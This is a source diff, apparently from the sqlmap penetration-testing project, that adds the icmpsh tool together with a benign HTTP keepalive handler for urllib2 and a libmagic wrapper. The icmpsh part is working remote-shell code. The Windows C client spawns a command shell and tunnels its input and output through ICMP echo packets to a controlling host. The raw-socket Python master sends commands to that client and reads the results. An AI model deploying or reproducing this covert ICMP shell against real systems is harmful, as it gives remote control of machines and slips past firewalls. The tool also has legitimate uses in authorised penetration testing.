// check received data
|
||||
if (rs > 0) {
|
||||
echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
|
||||
if (echo_reply->DataSize > max_in_data_size) {
|
||||
nbytes = max_in_data_size;
|
||||
} else {
|
||||
nbytes = echo_reply->DataSize;
|
||||
}
|
||||
memcpy(in_buf, echo_reply->Data, nbytes);
|
||||
*in_buf_size = nbytes;
|
||||
|
||||
free(temp_in_buf);
|
||||
return TRANSFER_SUCCESS;
|
||||
}
|
||||
|
||||
free(temp_in_buf);
|
||||
|
||||
return TRANSFER_FAILURE;
|
||||
}
|
||||
|
||||
int load_deps()
|
||||
{
|
||||
HMODULE lib;
|
||||
|
||||
lib = LoadLibraryA("ws2_32.dll");
|
||||
if (lib != NULL) {
|
||||
to_ip = GetProcAddress(lib, "inet_addr");
|
||||
if (!to_ip) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
lib = LoadLibraryA("iphlpapi.dll");
|
||||
if (lib != NULL) {
|
||||
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
|
||||
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
|
||||
if (icmp_create && icmp_send) {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
lib = LoadLibraryA("ICMP.DLL");
|
||||
if (lib != NULL) {
|
||||
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
|
||||
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
|
||||
if (icmp_create && icmp_send) {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
printf("failed to load functions (%u)", GetLastError());
|
||||
|
||||
return 0;
|
||||
}
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int opt;
|
||||
char *target;
|
||||
unsigned int delay, timeout;
|
||||
unsigned int ip_addr;
|
||||
HANDLE pipe_read, pipe_write;
|
||||
HANDLE icmp_chan;
|
||||
unsigned char *in_buf, *out_buf;
|
||||
unsigned int in_buf_size, out_buf_size;
|
||||
DWORD rs;
|
||||
int blanks, max_blanks;
|
||||
PROCESS_INFORMATION pi;
|
||||
int status;
|
||||
unsigned int max_data_size;
|
||||
struct hostent *he;
|
||||
|
||||
|
||||
// set defaults
|
||||
target = 0;
|
||||
timeout = DEFAULT_TIMEOUT;
|
||||
delay = DEFAULT_DELAY;
|
||||
max_blanks = DEFAULT_MAX_BLANKS;
|
||||
max_data_size = DEFAULT_MAX_DATA_SIZE;
|
||||
|
||||
status = STATUS_OK;
|
||||
if (!load_deps()) {
|
||||
printf("failed to load ICMP library\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// parse command line options
|
||||
for (opt = 1; opt < argc; opt++) {
|
||||
if (argv[opt][0] == '-') {
|
||||
switch(argv[opt][1]) {
|
||||
case 'h':
|
||||
usage(*argv);
|
||||
return 0;
|
||||
case 't':
|
||||
if (opt + 1 < argc) {
|
||||
target = argv[opt + 1];
|
||||
}
|
||||
break;
|
||||
case 'd':
|
||||
if (opt + 1 < argc) {
|
||||
delay = atol(argv[opt + 1]);
|
||||
}
|
||||
break;
|
||||
case 'o':
|
||||
if (opt + 1 < argc) {
|
||||
timeout = atol(argv[opt + 1]);
|
||||
}
|
||||
break;
|
||||
case 'r':
|
||||
status = STATUS_SINGLE;
|
||||
break;
|
||||
case 'b':
|
||||
if (opt + 1 < argc) {
|
||||
max_blanks = atol(argv[opt + 1]);
|
||||
}
|
||||
break;
|
||||
case 's':
|
||||
if (opt + 1 < argc) {
|
||||
max_data_size = atol(argv[opt + 1]);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
printf("unrecognized option -%c\n", argv[1][0]);
|
||||
usage(*argv);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!target) {
|
||||
printf("you need to specify a host with -t. Try -h for more options\n");
|
||||
return -1;
|
||||
}
|
||||
ip_addr = to_ip(target);
|
||||
|
||||
// don't spawn a shell if we're only sending a single test request
|
||||
if (status != STATUS_SINGLE) {
|
||||
status = spawn_shell(&pi, &pipe_read, &pipe_write);
|
||||
}
|
||||
|
||||
// create icmp channel
|
||||
create_icmp_channel(&icmp_chan);
|
||||
if (icmp_chan == INVALID_HANDLE_VALUE) {
|
||||
printf("unable to create ICMP file: %u\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
// allocate transfer buffers
|
||||
in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
|
||||
out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
|
||||
if (!in_buf || !out_buf) {
|
||||
printf("failed to allocate memory for transfer buffers\n");
|
||||
return -1;
|
||||
}
|
||||
memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
|
||||
memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
|
||||
|
||||
// sending/receiving loop
|
||||
blanks = 0;
|
||||
do {
|
||||
|
||||
switch(status) {
|
||||
case STATUS_SINGLE:
|
||||
// reply with a static string
|
||||
out_buf_size = sprintf(out_buf, "Test1234\n");
|
||||
break;
|
||||
case STATUS_PROCESS_NOT_CREATED:
|
||||
// reply with error message
|
||||
out_buf_size = sprintf(out_buf, "Process was not created\n");
|
||||
break;
|
||||
default:
|
||||
// read data from process via pipe
|
||||
out_buf_size = 0;
|
||||
if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
|
||||
if (out_buf_size > 0) {
|
||||
out_buf_size = 0;
|
||||
rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
|
||||
if (!rs && GetLastError() != ERROR_IO_PENDING) {
|
||||
out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
// send request/receive response
|
||||
if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
|
||||
if (status == STATUS_OK) {
|
||||
// write data from response back into pipe
|
||||
WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
|
||||
}
|
||||
blanks = 0;
|
||||
} else {
|
||||
// no reply received or error occured
|
||||
blanks++;
|
||||
}
|
||||
|
||||
// wait between requests
|
||||
Sleep(delay);
|
||||
|
||||
} while (status == STATUS_OK && blanks < max_blanks);
|
||||
|
||||
if (status == STATUS_OK) {
|
||||
TerminateProcess(pi.hProcess, 0);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BIN
extra/icmpsh/icmpsh.exe
Executable file
BIN
extra/icmpsh/icmpsh.exe
Executable file
Binary file not shown.
138
extra/icmpsh/icmpsh_m.py
Executable file
138
extra/icmpsh/icmpsh_m.py
Executable file
@@ -0,0 +1,138 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# icmpsh - simple icmp command shell (port of icmpsh-m.pl written in
|
||||
# Perl by Nico Leidecker <nico@leidecker.info>)
|
||||
#
|
||||
# Copyright (c) 2010, Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
#
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import os
|
||||
import select
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
def setNonBlocking(fd):
|
||||
"""
|
||||
Make a file descriptor non-blocking
|
||||
"""
|
||||
|
||||
import fcntl
|
||||
|
||||
flags = fcntl.fcntl(fd, fcntl.F_GETFL)
|
||||
flags = flags | os.O_NONBLOCK
|
||||
fcntl.fcntl(fd, fcntl.F_SETFL, flags)
|
||||
|
||||
def main(src, dst):
|
||||
if subprocess.mswindows:
|
||||
sys.stderr.write('icmpsh master can only run on Posix systems\n')
|
||||
sys.exit(255)
|
||||
|
||||
try:
|
||||
from impacket import ImpactDecoder
|
||||
from impacket import ImpactPacket
|
||||
except ImportError:
|
||||
sys.stderr.write('You need to install Python Impacket library first\n')
|
||||
sys.exit(255)
|
||||
|
||||
# Make standard input a non-blocking file
|
||||
stdin_fd = sys.stdin.fileno()
|
||||
setNonBlocking(stdin_fd)
|
||||
|
||||
# Open one socket for ICMP protocol
|
||||
# A special option is set on the socket so that IP headers are included
|
||||
# with the returned data
|
||||
try:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
|
||||
except socket.error, e:
|
||||
sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
|
||||
sys.exit(1)
|
||||
|
||||
sock.setblocking(0)
|
||||
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
|
||||
|
||||
# Create a new IP packet and set its source and destination addresses
|
||||
ip = ImpactPacket.IP()
|
||||
ip.set_ip_src(src)
|
||||
ip.set_ip_dst(dst)
|
||||
|
||||
# Create a new ICMP packet of type ECHO REPLY
|
||||
icmp = ImpactPacket.ICMP()
|
||||
icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)
|
||||
|
||||
# Instantiate an IP packets decoder
|
||||
decoder = ImpactDecoder.IPDecoder()
|
||||
|
||||
while 1:
|
||||
cmd = ''
|
||||
|
||||
# Wait for incoming replies
|
||||
if sock in select.select([ sock ], [], [])[0]:
|
||||
buff = sock.recv(4096)
|
||||
|
||||
if 0 == len(buff):
|
||||
# Socket remotely closed
|
||||
sock.close()
|
||||
sys.exit(0)
|
||||
|
||||
# Packet received; decode and display it
|
||||
ippacket = decoder.decode(buff)
|
||||
icmppacket = ippacket.child()
|
||||
|
||||
# If the packet matches, report it to the user
|
||||
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
|
||||
# Get identifier and sequence number
|
||||
ident = icmppacket.get_icmp_id()
|
||||
seq_id = icmppacket.get_icmp_seq()
|
||||
data = icmppacket.get_data_as_string()
|
||||
|
||||
if len(data) > 0:
|
||||
sys.stdout.write(data)
|
||||
|
||||
# Parse command from standard input
|
||||
try:
|
||||
cmd = sys.stdin.readline()
|
||||
except:
|
||||
pass
|
||||
|
||||
if cmd == 'exit\n':
|
||||
return
|
||||
|
||||
# Set sequence number and identifier
|
||||
icmp.set_icmp_id(ident)
|
||||
icmp.set_icmp_seq(seq_id)
|
||||
|
||||
# Include the command as data inside the ICMP packet
|
||||
icmp.contains(ImpactPacket.Data(cmd))
|
||||
|
||||
# Calculate its checksum
|
||||
icmp.set_icmp_cksum(0)
|
||||
icmp.auto_checksum = 1
|
||||
|
||||
# Have the IP packet contain the ICMP packet (along with its payload)
|
||||
ip.contains(icmp)
|
||||
|
||||
# Send it to the target host
|
||||
sock.sendto(ip.get_packet(), (dst, 0))
|
||||
|
||||
if __name__ == '__main__':
|
||||
if len(sys.argv) < 3:
|
||||
msg = 'missing mandatory options. Execute as root:\n'
|
||||
msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
|
||||
sys.stderr.write(msg)
|
||||
sys.exit(1)
|
||||
|
||||
main(sys.argv[1], sys.argv[2])
|
||||
19
extra/keepalive/__init__.py
Executable file
19
extra/keepalive/__init__.py
Executable file
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Copyright 2002-2003 Michael D. Stenner
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify it
|
||||
# under the terms of the GNU Lesser General Public License as published
|
||||
# by the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
pass
|
||||
463
extra/keepalive/keepalive.py
Normal file
463
extra/keepalive/keepalive.py
Normal file
@@ -0,0 +1,463 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Copyright 2002-2003 Michael D. Stenner
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify it
|
||||
# under the terms of the GNU Lesser General Public License as published
|
||||
# by the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
"""An HTTP handler for urllib2 that supports HTTP 1.1 and keepalive.
|
||||
|
||||
import urllib2
|
||||
from keepalive import HTTPHandler
|
||||
keepalive_handler = HTTPHandler()
|
||||
opener = urllib2.build_opener(keepalive_handler)
|
||||
urllib2.install_opener(opener)
|
||||
|
||||
fo = urllib2.urlopen('http://www.python.org')
|
||||
|
||||
To remove the handler, simply re-run build_opener with no arguments, and
|
||||
install that opener.
|
||||
|
||||
You can explicitly close connections by using the close_connection()
|
||||
method of the returned file-like object (described below) or you can
|
||||
use the handler methods:
|
||||
|
||||
close_connection(host)
|
||||
close_all()
|
||||
open_connections()
|
||||
|
||||
Example:
|
||||
|
||||
keepalive_handler.close_all()
|
||||
|
||||
EXTRA ATTRIBUTES AND METHODS
|
||||
|
||||
Upon a status of 200, the object returned has a few additional
|
||||
attributes and methods, which should not be used if you want to
|
||||
remain consistent with the normal urllib2-returned objects:
|
||||
|
||||
close_connection() - close the connection to the host
|
||||
readlines() - you know, readlines()
|
||||
status - the return status (ie 404)
|
||||
reason - english translation of status (ie 'File not found')
|
||||
|
||||
If you want the best of both worlds, use this inside an
|
||||
AttributeError-catching try:
|
||||
|
||||
try: status = fo.status
|
||||
except AttributeError: status = None
|
||||
|
||||
Unfortunately, these are ONLY there if status == 200, so it's not
|
||||
easy to distinguish between non-200 responses. The reason is that
|
||||
urllib2 tries to do clever things with error codes 301, 302, 401,
|
||||
and 407, and it wraps the object upon return.
|
||||
|
||||
You can optionally set the module-level global HANDLE_ERRORS to 0,
|
||||
in which case the handler will always return the object directly.
|
||||
If you like the fancy handling of errors, don't do this. If you
|
||||
prefer to see your error codes, then do.
|
||||
|
||||
"""
|
||||
from httplib import _CS_REQ_STARTED, _CS_REQ_SENT, _CS_IDLE, CannotSendHeader
|
||||
|
||||
from lib.core.common import encodeUnicode
|
||||
from lib.core.data import kb
|
||||
|
||||
import threading
|
||||
import urllib2
|
||||
import httplib
|
||||
import socket
|
||||
|
||||
VERSION = (0, 1)
|
||||
#STRING_VERSION = '.'.join(map(str, VERSION))
|
||||
DEBUG = 0
|
||||
HANDLE_ERRORS = 1
|
||||
|
||||
class HTTPHandler(urllib2.HTTPHandler):
|
||||
def __init__(self):
|
||||
self._connections = {}
|
||||
|
||||
def close_connection(self, host):
|
||||
"""close connection to <host>
|
||||
host is the host:port spec, as in 'www.cnn.com:8080' as passed in.
|
||||
no error occurs if there is no connection to that host."""
|
||||
self._remove_connection(host, close=1)
|
||||
|
||||
def open_connections(self):
|
||||
"""return a list of connected hosts"""
|
||||
retVal = []
|
||||
currentThread = threading.currentThread()
|
||||
for name, host in self._connections.keys():
|
||||
if name == currentThread.getName():
|
||||
retVal.append(host)
|
||||
return retVal
|
||||
|
||||
def close_all(self):
|
||||
"""close all open connections"""
|
||||
for _, conn in self._connections.items():
|
||||
conn.close()
|
||||
self._connections = {}
|
||||
|
||||
def _remove_connection(self, host, close=0):
|
||||
key = self._get_connection_key(host)
|
||||
if self._connections.has_key(key):
|
||||
if close: self._connections[key].close()
|
||||
del self._connections[key]
|
||||
|
||||
def _get_connection_key(self, host):
|
||||
return (threading.currentThread().getName(), host)
|
||||
|
||||
def _start_connection(self, h, req):
|
||||
h.clearheaders()
|
||||
try:
|
||||
if req.has_data():
|
||||
data = req.get_data()
|
||||
h.putrequest('POST', req.get_selector())
|
||||
if not req.headers.has_key('Content-type'):
|
||||
req.headers['Content-type'] = 'application/x-www-form-urlencoded'
|
||||
if not req.headers.has_key('Content-length'):
|
||||
req.headers['Content-length'] = '%d' % len(data)
|
||||
else:
|
||||
h.putrequest('GET', req.get_selector())
|
||||
|
||||
if not req.headers.has_key('Connection'):
|
||||
req.headers['Connection'] = 'keep-alive'
|
||||
|
||||
for args in self.parent.addheaders:
|
||||
h.putheader(*args)
|
||||
for k, v in req.headers.items():
|
||||
h.putheader(k, v)
|
||||
h.endheaders()
|
||||
if req.has_data():
|
||||
h.send(data)
|
||||
except socket.error, err:
|
||||
h.close()
|
||||
raise urllib2.URLError(err)
|
||||
|
||||
def do_open(self, http_class, req):
|
||||
h = None
|
||||
host = req.get_host()
|
||||
if not host:
|
||||
raise urllib2.URLError('no host given')
|
||||
|
||||
try:
|
||||
need_new_connection = 1
|
||||
key = self._get_connection_key(host)
|
||||
h = self._connections.get(key)
|
||||
if not h is None:
|
||||
try:
|
||||
self._start_connection(h, req)
|
||||
except:
|
||||
r = None
|
||||
else:
|
||||
try: r = h.getresponse()
|
||||
except httplib.ResponseNotReady, e: r = None
|
||||
except httplib.BadStatusLine, e: r = None
|
||||
|
||||
if r is None or r.version == 9:
|
||||
# httplib falls back to assuming HTTP 0.9 if it gets a
|
||||
# bad header back. This is most likely to happen if
|
||||
# the socket has been closed by the server since we
|
||||
# last used the connection.
|
||||
if DEBUG: print "failed to re-use connection to %s" % host
|
||||
h.close()
|
||||
else:
|
||||
if DEBUG: print "re-using connection to %s" % host
|
||||
need_new_connection = 0
|
||||
if need_new_connection:
|
||||
if DEBUG: print "creating new connection to %s" % host
|
||||
h = http_class(host)
|
||||
self._connections[key] = h
|
||||
self._start_connection(h, req)
|
||||
r = h.getresponse()
|
||||
except socket.error, err:
|
||||
if h: h.close()
|
||||
raise urllib2.URLError(err)
|
||||
|
||||
# if not a persistent connection, don't try to reuse it
|
||||
if r.will_close: self._remove_connection(host)
|
||||
|
||||
if DEBUG:
|
||||
print "STATUS: %s, %s" % (r.status, r.reason)
|
||||
r._handler = self
|
||||
r._host = host
|
||||
r._url = req.get_full_url()
|
||||
|
||||
#if r.status == 200 or not HANDLE_ERRORS:
|
||||
#return r
|
||||
if r.status == 200 or not HANDLE_ERRORS:
|
||||
# [speedplane] Must return an adinfourl object
|
||||
resp = urllib2.addinfourl(r, r.msg, req.get_full_url())
|
||||
resp.code = r.status
|
||||
resp.msg = r.reason
|
||||
return resp;
|
||||
else:
|
||||
return self.parent.error('http', req, r, r.status, r.reason, r.msg)
|
||||
|
||||
def http_open(self, req):
|
||||
return self.do_open(HTTPConnection, req)
|
||||
|
||||
class HTTPResponse(httplib.HTTPResponse):
|
||||
|
||||
# we need to subclass HTTPResponse in order to
|
||||
# 1) add readline() and readlines() methods
|
||||
# 2) add close_connection() methods
|
||||
# 3) add info() and geturl() methods
|
||||
|
||||
# in order to add readline(), read must be modified to deal with a
|
||||
# buffer. example: readline must read a buffer and then spit back
|
||||
# one line at a time. The only real alternative is to read one
|
||||
# BYTE at a time (ick). Once something has been read, it can't be
|
||||
# put back (ok, maybe it can, but that's even uglier than this),
|
||||
# so if you THEN do a normal read, you must first take stuff from
|
||||
# the buffer.
|
||||
|
||||
# the read method wraps the original to accomodate buffering,
|
||||
# although read() never adds to the buffer.
|
||||
# Both readline and readlines have been stolen with almost no
|
||||
# modification from socket.py
|
||||
|
||||
|
||||
def __init__(self, sock, debuglevel=0, strict=0, method=None):
|
||||
if method: # the httplib in python 2.3 uses the method arg
|
||||
httplib.HTTPResponse.__init__(self, sock, debuglevel, method)
|
||||
else: # 2.2 doesn't
|
||||
httplib.HTTPResponse.__init__(self, sock, debuglevel)
|
||||
self.fileno = sock.fileno
|
||||
self._rbuf = ''
|
||||
self._rbufsize = 8096
|
||||
self._handler = None # inserted by the handler later
|
||||
self._host = None # (same)
|
||||
self._url = None # (same)
|
||||
|
||||
_raw_read = httplib.HTTPResponse.read
|
||||
|
||||
def close_connection(self):
|
||||
self.close()
|
||||
self._handler._remove_connection(self._host, close=1)
|
||||
|
||||
def info(self):
|
||||
return self.msg
|
||||
|
||||
def geturl(self):
|
||||
return self._url
|
||||
|
||||
def read(self, amt=None):
|
||||
# the _rbuf test is only in this first if for speed. It's not
|
||||
# logically necessary
|
||||
if self._rbuf and not amt is None:
|
||||
L = len(self._rbuf)
|
||||
if amt > L:
|
||||
amt -= L
|
||||
else:
|
||||
s = self._rbuf[:amt]
|
||||
self._rbuf = self._rbuf[amt:]
|
||||
return s
|
||||
|
||||
s = self._rbuf + self._raw_read(amt)
|
||||
self._rbuf = ''
|
||||
return s
|
||||
|
||||
def readline(self, limit=-1):
|
||||
data = ""
|
||||
i = self._rbuf.find('\n')
|
||||
while i < 0 and not (0 < limit <= len(self._rbuf)):
|
||||
new = self._raw_read(self._rbufsize)
|
||||
if not new: break
|
||||
i = new.find('\n')
|
||||
if i >= 0: i = i + len(self._rbuf)
|
||||
self._rbuf = self._rbuf + new
|
||||
if i < 0: i = len(self._rbuf)
|
||||
else: i = i+1
|
||||
if 0 <= limit < len(self._rbuf): i = limit
|
||||
data, self._rbuf = self._rbuf[:i], self._rbuf[i:]
|
||||
return data
|
||||
|
||||
def readlines(self, sizehint = 0):
|
||||
total = 0
|
||||
list = []
|
||||
while 1:
|
||||
line = self.readline()
|
||||
if not line: break
|
||||
list.append(line)
|
||||
total += len(line)
|
||||
if sizehint and total >= sizehint:
|
||||
break
|
||||
return list
|
||||
|
||||
|
||||
class HTTPConnection(httplib.HTTPConnection):
|
||||
# use the modified response class
|
||||
response_class = HTTPResponse
|
||||
_headers = None
|
||||
|
||||
def clearheaders(self):
|
||||
self._headers = {}
|
||||
|
||||
def putheader(self, header, value):
|
||||
"""Send a request header line to the server.
|
||||
|
||||
For example: h.putheader('Accept', 'text/html')
|
||||
"""
|
||||
if self.__state != _CS_REQ_STARTED:
|
||||
raise CannotSendHeader()
|
||||
|
||||
self._headers[header] = value
|
||||
|
||||
def endheaders(self):
|
||||
"""Indicate that the last header line has been sent to the server."""
|
||||
|
||||
if self.__state == _CS_REQ_STARTED:
|
||||
self.__state = _CS_REQ_SENT
|
||||
else:
|
||||
raise CannotSendHeader()
|
||||
|
||||
for header in ['Host', 'Accept-Encoding']:
|
||||
if header in self._headers:
|
||||
str = '%s: %s' % (header, self._headers[header])
|
||||
self._output(str)
|
||||
del self._headers[header]
|
||||
|
||||
for header, value in self._headers.items():
|
||||
str = '%s: %s' % (header, value)
|
||||
self._output(str)
|
||||
|
||||
self._send_output()
|
||||
|
||||
def send(self, str):
|
||||
httplib.HTTPConnection.send(self, encodeUnicode(str, kb.pageEncoding))
|
||||
|
||||
#########################################################################
|
||||
##### TEST FUNCTIONS
|
||||
#########################################################################
|
||||
|
||||
def error_handler(url):
|
||||
global HANDLE_ERRORS
|
||||
orig = HANDLE_ERRORS
|
||||
keepalive_handler = HTTPHandler()
|
||||
opener = urllib2.build_opener(keepalive_handler)
|
||||
urllib2.install_opener(opener)
|
||||
pos = {0: 'off', 1: 'on'}
|
||||
for i in (0, 1):
|
||||
print " fancy error handling %s (HANDLE_ERRORS = %i)" % (pos[i], i)
|
||||
HANDLE_ERRORS = i
|
||||
try:
|
||||
fo = urllib2.urlopen(url)
|
||||
foo = fo.read()
|
||||
fo.close()
|
||||
try: status, reason = fo.status, fo.reason
|
||||
except AttributeError: status, reason = None, None
|
||||
except IOError, e:
|
||||
print " EXCEPTION: %s" % e
|
||||
raise
|
||||
else:
|
||||
print " status = %s, reason = %s" % (status, reason)
|
||||
HANDLE_ERRORS = orig
|
||||
hosts = keepalive_handler.open_connections()
|
||||
print "open connections:", ' '.join(hosts)
|
||||
keepalive_handler.close_all()
|
||||
|
||||
def continuity(url):
|
||||
import md5
|
||||
format = '%25s: %s'
|
||||
|
||||
# first fetch the file with the normal http handler
|
||||
opener = urllib2.build_opener()
|
||||
urllib2.install_opener(opener)
|
||||
fo = urllib2.urlopen(url)
|
||||
foo = fo.read()
|
||||
fo.close()
|
||||
m = md5.new(foo)
|
||||
print format % ('normal urllib', m.hexdigest())
|
||||
|
||||
# now install the keepalive handler and try again
|
||||
opener = urllib2.build_opener(HTTPHandler())
|
||||
urllib2.install_opener(opener)
|
||||
|
||||
fo = urllib2.urlopen(url)
|
||||
foo = fo.read()
|
||||
fo.close()
|
||||
m = md5.new(foo)
|
||||
print format % ('keepalive read', m.hexdigest())
|
||||
|
||||
fo = urllib2.urlopen(url)
|
||||
foo = ''
|
||||
while 1:
|
||||
f = fo.readline()
|
||||
if f: foo = foo + f
|
||||
else: break
|
||||
fo.close()
|
||||
m = md5.new(foo)
|
||||
print format % ('keepalive readline', m.hexdigest())
|
||||
|
||||
def comp(N, url):
|
||||
print ' making %i connections to:\n %s' % (N, url)
|
||||
|
||||
sys.stdout.write(' first using the normal urllib handlers')
|
||||
# first use normal opener
|
||||
opener = urllib2.build_opener()
|
||||
urllib2.install_opener(opener)
|
||||
t1 = fetch(N, url)
|
||||
print ' TIME: %.3f s' % t1
|
||||
|
||||
sys.stdout.write(' now using the keepalive handler ')
|
||||
# now install the keepalive handler and try again
|
||||
opener = urllib2.build_opener(HTTPHandler())
|
||||
urllib2.install_opener(opener)
|
||||
t2 = fetch(N, url)
|
||||
print ' TIME: %.3f s' % t2
|
||||
print ' improvement factor: %.2f' % (t1/t2, )
|
||||
|
||||
def fetch(N, url, delay=0):
|
||||
lens = []
|
||||
starttime = time.time()
|
||||
for i in range(N):
|
||||
if delay and i > 0: time.sleep(delay)
|
||||
fo = urllib2.urlopen(url)
|
||||
foo = fo.read()
|
||||
fo.close()
|
||||
lens.append(len(foo))
|
||||
diff = time.time() - starttime
|
||||
|
||||
j = 0
|
||||
for i in lens[1:]:
|
||||
j = j + 1
|
||||
if not i == lens[0]:
|
||||
print "WARNING: inconsistent length on read %i: %i" % (j, i)
|
||||
|
||||
return diff
|
||||
|
||||
def test(url, N=10):
|
||||
print "checking error hander (do this on a non-200)"
|
||||
try: error_handler(url)
|
||||
except IOError, e:
|
||||
print "exiting - exception will prevent further tests"
|
||||
sys.exit()
|
||||
print
|
||||
print "performing continuity test (making sure stuff isn't corrupted)"
|
||||
continuity(url)
|
||||
print
|
||||
print "performing speed comparison"
|
||||
comp(N, url)
|
||||
|
||||
if __name__ == '__main__':
|
||||
import time
|
||||
import sys
|
||||
try:
|
||||
N = int(sys.argv[1])
|
||||
url = sys.argv[2]
|
||||
except:
|
||||
print "%s <integer> <url>" % sys.argv[0]
|
||||
else:
|
||||
test(url, N)
|
||||
3
extra/magic/__init__.py
Normal file
3
extra/magic/__init__.py
Normal file
@@ -0,0 +1,3 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
pass
|
||||
194
extra/magic/magic.py
Normal file
194
extra/magic/magic.py
Normal file
@@ -0,0 +1,194 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
Adam Hupp <adam@hupp.org>
|
||||
|
||||
Reference: http://hupp.org/adam/hg/python-magic
|
||||
|
||||
License: PSF (http://www.python.org/psf/license/)
|
||||
"""
|
||||
|
||||
import os.path
|
||||
import ctypes
|
||||
import ctypes.util
|
||||
|
||||
from ctypes import c_char_p, c_int, c_size_t, c_void_p
|
||||
|
||||
class MagicException(Exception): pass
|
||||
|
||||
class Magic:
|
||||
"""
|
||||
Magic is a wrapper around the libmagic C library.
|
||||
|
||||
"""
|
||||
|
||||
def __init__(self, mime=False, magic_file=None):
|
||||
"""
|
||||
Create a new libmagic wrapper.
|
||||
|
||||
mime - if True, mimetypes are returned instead of textual descriptions
|
||||
magic_file - use a mime database other than the system default
|
||||
|
||||
"""
|
||||
flags = MAGIC_NONE
|
||||
if mime:
|
||||
flags |= MAGIC_MIME
|
||||
|
||||
self.cookie = magic_open(flags)
|
||||
|
||||
magic_load(self.cookie, magic_file)
|
||||
|
||||
def from_buffer(self, buf):
|
||||
"""
|
||||
Identify the contents of `buf`
|
||||
"""
|
||||
return magic_buffer(self.cookie, buf)
|
||||
|
||||
def from_file(self, filename):
|
||||
"""
|
||||
Identify the contents of file `filename`
|
||||
raises IOError if the file does not exist
|
||||
"""
|
||||
|
||||
if not os.path.exists(filename):
|
||||
raise IOError("File does not exist: " + filename)
|
||||
|
||||
return magic_file(self.cookie, filename)
|
||||
|
||||
def __del__(self):
|
||||
try:
|
||||
magic_close(self.cookie)
|
||||
except Exception, _:
|
||||
pass
|
||||
|
||||
_magic_mime = None
|
||||
_magic = None
|
||||
|
||||
def _get_magic_mime():
|
||||
global _magic_mime
|
||||
if not _magic_mime:
|
||||
_magic_mime = Magic(mime=True)
|
||||
return _magic_mime
|
||||
|
||||
def _get_magic():
|
||||
global _magic
|
||||
if not _magic:
|
||||
_magic = Magic()
|
||||
return _magic
|
||||
|
||||
def _get_magic_type(mime):
|
||||
if mime:
|
||||
return _get_magic_mime()
|
||||
else:
|
||||
return _get_magic()
|
||||
|
||||
def from_file(filename, mime=False):
|
||||
m = _get_magic_type(mime)
|
||||
return m.from_file(filename)
|
